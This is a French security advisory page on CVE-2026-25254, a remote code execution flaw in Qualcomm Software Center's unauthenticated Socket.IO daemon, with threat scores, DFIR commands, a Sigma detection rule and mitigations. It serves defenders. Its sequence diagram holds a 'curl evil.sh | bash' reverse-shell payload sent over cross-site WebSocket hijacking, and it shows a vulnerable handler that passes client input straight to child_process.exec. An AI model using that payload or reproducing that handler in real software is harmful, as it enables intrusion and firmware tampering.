Aller au contenu

CVE-2026-25254 : exécution de code à distance via l'interface SocketIO de Qualcomm software center

Densité :
HERMES

SCORE DE MENACE HERMES & COMPROMISSION DU PÉRIMÈTRE

Cible : Chaînes d'outillage matériel embarqué, postes développeurs & bancs de test sur silicium
Confiance : 94%
89 / 100
ÉLEVÉ

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 14 / 20
Militarisation 17 / 20
Exposition 16 / 20
Prévalence 16 / 20
Impact 20 / 20
Maturité de l'exploit 18 / 20
Potentiel d'attaque en chaîne 18 / 20
⚖️ Divergence & Justification opérationnelle

Le standard CVSS v3.1 attribue à la CVE-2026-25254 un score de 9.8 Critique (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Le Hermes Threat Score lui assigne la note de 89 (ÉLEVÉ). Qualcomm Software Center est un outil d'ingénierie déployé sur les postes de travail des développeurs embarqués, les bancs de test automatisés (HIL) et les laboratoires de robotique. Bien que rarement exposé sur Internet, l'absence de vérification d'origine et d'authentification sur son démon Socket.IO expose les ingénieurs aux attaques de détournement de WebSocket inter-sites (CSWSH) et aux pivots réseau locaux, permettant aux attaquants d'obtenir des privilèges root et de compromettre les micrologiciels avant leur déploiement.

HASS

SÉVÉRITÉ AGENTIQUE HASS & IMPACT SUR L'ISOLATION DES AGENTS

Cible : Écouteur d'événements Socket.IO et démon de flashage Qualcomm Software Center
Confiance : 91%
82 / 100
CRITIQUE

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 17 / 20
Accès aux outils & APIs 18 / 20
Privilege 14 / 15
Persistence 12 / 15
External Impact 13 / 15
Propagation 8 / 15
⚖️ Divergence & Justification opérationnelle

Les agents autonomes d'ingénierie matérielle, les exécuteurs d'intégration continue de micrologiciels et les agents d'IA de développement interagissent avec les démons locaux de flashage via des interfaces RPC. L'absence totale d'autorisation sur le port Socket.IO de QSC permet à un attaquant ou à un conteneur non approuvé de s'évader du bac à sable de l'agent, de détourner les périphériques matériels de flashage et d'implanter des portes dérobées persistantes dans les chargeurs d'amorçage.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-25254: Qualcomm Software Center SocketIO Interface Remote Code ExecutionVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTObot Autonomous AI Agent Platform
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Obot Autonomous AI Agent Platform documented in Hermes dossier.”

Preuves vérifiées associées :
92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-25254 weaponizes the agentic attack pattern formalized under AAP-003.”

Preuves vérifiées associées :
→ exploitsMODÈLE D'ATTAQUEAAP-007: Autonomous Cascading RCE
92% VERY_HIGH

Cascading multi-stage attack chaining context injection, autonomous loop planning, and un-sandboxed execution sinks to achieve persistent root shell compromise on host machines.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-25254 weaponizes the agentic attack pattern formalized under AAP-007.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

Qualcomm Software Center fait le pont entre les interfaces graphiques et les binaires de bas niveau de flashage matériel (tels que fastboot, edl et qdl) par l’intermédiaire d’un démon RPC d’arrière-plan.

ParamètreSpécification techniqueImpact opérationnel
Identifiant CVECVE-2026-25254Bulletin de sécurité Qualcomm / Entrée NIST NVD
Classe de vulnérabilitéAutorisation incorrecte (CWE-285) / Injection de commandes OS (CWE-78)Exécution arbitraire de commandes via RPC WebSocket
Composant vulnérableDémon de gestion d’événements Socket.IO (qsc_service / répartiteur RPC)Absence d’authentification et de validation d’origine
Vecteur d’exploitationConnexion directe TCP/WebSocket ou détournement CSWSHCompromission du poste de travail et corruption de micrologiciels
Privilèges requisAucun (PR:N)Aucun identifiant requis
Privilèges obtenusUtilisateur local / Administrateur système (root / Administrator)Contrôle total du système hôte et des cartes connectées
Versions affectéesQualcomm Software Center antérieures à la version 2026.05Postes de travail d’ingénierie, bancs de test HIL
Correctif officielQualcomm software center 2026.05Authentification par jeton éphémère et filtrage d’origine

2. Anatomie de la vulnérabilité & analyse de cause racine

Section intitulée « 2. Anatomie de la vulnérabilité & analyse de cause racine »

Répartition d’événements non filtrée dans le démon socket.io

Section intitulée « Répartition d’événements non filtrée dans le démon socket.io »

Au démarrage de QSC, une routine initialise un serveur WebSocket Socket.IO pour écouter les messages de pilotage émis par l’interface Electron. Dans les versions vulnérables, les écouteurs d’événements enregistrent des opérations sensibles sans exiger de preuve d’authentification :

// Schéma conceptuel du gestionnaire Socket.IO vulnérable (avant correctif)
io.on('connection', (socket) => {
console.log('Client connecté au démon QSC :', socket.id);
// ANOMALIE : Absence de middleware d'authentification, aucun jeton validé,
// et aucune restriction d'origine (Access-Control-Allow-Origin: *) !
socket.on('exec_cmd', (data) => {
// Faille critique : exécution directe des commandes fournies par le client
const cmd = data.command;
require('child_process').exec(cmd, (error, stdout, stderr) => {
socket.emit('cmd_result', { stdout, stderr, error });
});
});
socket.on('flash_target', (data) => {
// Appel du binaire de flashage avec les chemins fournis par l'attaquant
const imagePath = data.path;
runFlashingPipeline(imagePath);
});
});

Puisque Socket.IO repose sur le protocole WebSocket, la politique de même origine (Same-Origin Policy ou SOP) des navigateurs ne s’applique pas par défaut aux connexions sortantes vers ws://localhost:PORT, sauf si le serveur analyse et rejette explicitement l’en-tête Origin.

Mécanismes d’exploitation : CSWSH et pivot réseau

Section intitulée « Mécanismes d’exploitation : CSWSH et pivot réseau »

Cette faiblesse permet deux schémas d’attaque majeurs :

  1. Détournement par navigation web (CSWSH) : un ingénieur consultant une documentation ou un forum externe visite une page piégée par un assaillant. Un script JavaScript en arrière-plan initie une connexion WebSocket vers ws://127.0.0.1:8080/socket.io/. Dès la connexion établie, le script émet l’événement exec_cmd avec un reverse shell, compromettant le poste du développeur en toute discrétion.
  2. Pivot sur le réseau local du laboratoire : dans les environnements partagés, le démon écoute fréquemment sur 0.0.0.0. Toute machine du même sous-réseau peut alors envoyer des commandes et prendre le contrôle du banc d’essai.

sequenceDiagram
autonumber
actor Attacker as Attaquant / Serveur Web malveillant
participant DevBrowser as Navigateur de l'ingénieur
participant QSCDaemon as Démon Qualcomm Software Center
participant HostOS as Système d'exploitation hôte (Linux / Windows)
participant DevBoard as Carte de développement Snapdragon
Attacker->>DevBrowser: Incitation à consulter un lien / site piégé
Note over DevBrowser: Le navigateur exécute le script en arrière-plan
DevBrowser->>QSCDaemon: Connexion ws://127.0.0.1:8080/socket.io/ (CSWSH)
QSCDaemon-->>DevBrowser: Poignée de main acceptée (Sans auth / Sans contrôle d'origine)
DevBrowser->>QSCDaemon: Émission "exec_cmd" { command: "curl evil.sh | bash" }
QSCDaemon->>HostOS: child_process.exec("curl evil.sh | bash")
HostOS-->>QSCDaemon: Processus instancié (Reverse shell interactif établi)
QSCDaemon->>DevBoard: Flashage d'une image de boot altérée
HostOS->>Attacker: Connexion C2 sortante (Prise de contrôle du poste)
  1. Accès initial : l’attaquant identifie un port QSC exposé sur le réseau local ou conçoit une page web malveillante ciblant les ingénieurs en micrologiciels embarqués.
  2. Connexion WebSocket : le navigateur ou le client réseau établit une liaison Socket.IO vers le démon QSC. Le serveur valide la connexion sans réclamer d’authentification.
  3. Transmission de l’événement malveillant : l’attaquant transmet un événement exec_cmd ou flash_target contenant une charge utile de commande shell ou une URL de micrologiciel corrompu.
  4. Exécution sur le système hôte : le démon transmet la commande directement à l’interpréteur de commandes du système (/bin/sh ou cmd.exe) avec les privilèges de l’ingénieur ou du compte système.
  5. Persistance & empoisonnement matériel : l’assaillant établit un accès persistant sur la machine et injecte une porte dérobée dans le chargeur d’amorçage de la carte Snapdragon connectée.

Les analystes DFIR enquêtant sur une compromission potentielle de poste d’ingénierie doivent auditer les processus enfants et les artefacts de flashage :

Fenêtre de terminal
# 1. Identifier les ports en écoute associés à Qualcomm Software Center
ss -tulpn | grep -E "node|qsc|python" | grep -E "8080|8888|5000"
# 2. Vérifier l'arborescence des processus enfants issus de QSC
pstree -p $(pgrep -f "qsc|Qualcomm") -a
# 3. Analyser l'exécution de shells suspects issus de processus parents inattendus
journalctl _COMM=bash _COMM=sh -S -24h | grep -i -E "curl|wget|nc|python"
# 4. Examiner l'historique du navigateur à la recherche de requêtes WebSocket locales
find ~/.config/google-chrome/ ~/.mozilla/firefox/ -name "History" -exec sqlite3 {} "SELECT url, title, last_visit_time FROM urls WHERE url LIKE '%socket.io%' OR url LIKE '%ws:%' ORDER BY last_visit_time DESC LIMIT 20;" \; 2>/dev/null
# 5. Auditer les images de micrologiciels et répertoires temporaires récemment modifiés
find ~/.qsc/ /tmp/qsc/ /opt/qualcomm/ -mtime -3 -type f -ls

title: Processus Enfant Suspect Issu de Qualcomm Software Center
id: 25254c01-fr-qsc-socketio-child-process
status: experimental
description: Détecte l'exécution d'un interpréteur de commandes ou d'outils réseau directement engendré par le démon Qualcomm Software Center.
author: Hermes Codex Detection Engineering
date: 2026-09-25
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|contains:
- 'Qualcomm'
- 'qsc_daemon'
- 'qsc_service'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/zsh'
- '/curl'
- '/wget'
- '/python3'
- '/python'
condition: selection_parent and selection_child
falsepositives:
- Scripts de compilation ou de flashage légitimes déclenchés volontairement depuis l'interface de QSC.
level: critical
tags:
- attack.execution
- attack.t1059.004
- attack.lateral_movement
- attack.t1210
- cve.2026-25254

Mettez à niveau tous les postes de développement et bancs HIL vers Qualcomm Software Center 2026.05 ou supérieur :

  • La mise à jour intègre un protocole d’authentification par jeton éphémère lors de la négociation Socket.IO.
  • Elle valide rigoureusement l’en-tête Origin, interdisant les requêtes non issues de l’application Electron locale.
  1. Liaison exclusive sur la boucle locale : assurez-vous que le démon n’écoute que sur 127.0.0.1 et jamais sur 0.0.0.0.
  2. Segmentation réseau des laboratoires : isolez les bancs d’ingénierie matérielle au sein d’un VLAN dédié avec filtrage strict des flux sortants vers Internet.
  3. Flashage selon le principe de moindre privilège : configurez les règles udev pour autoriser l’accès aux interfaces USB des cartes de développement sans exécuter le démon QSC avec les privilèges root.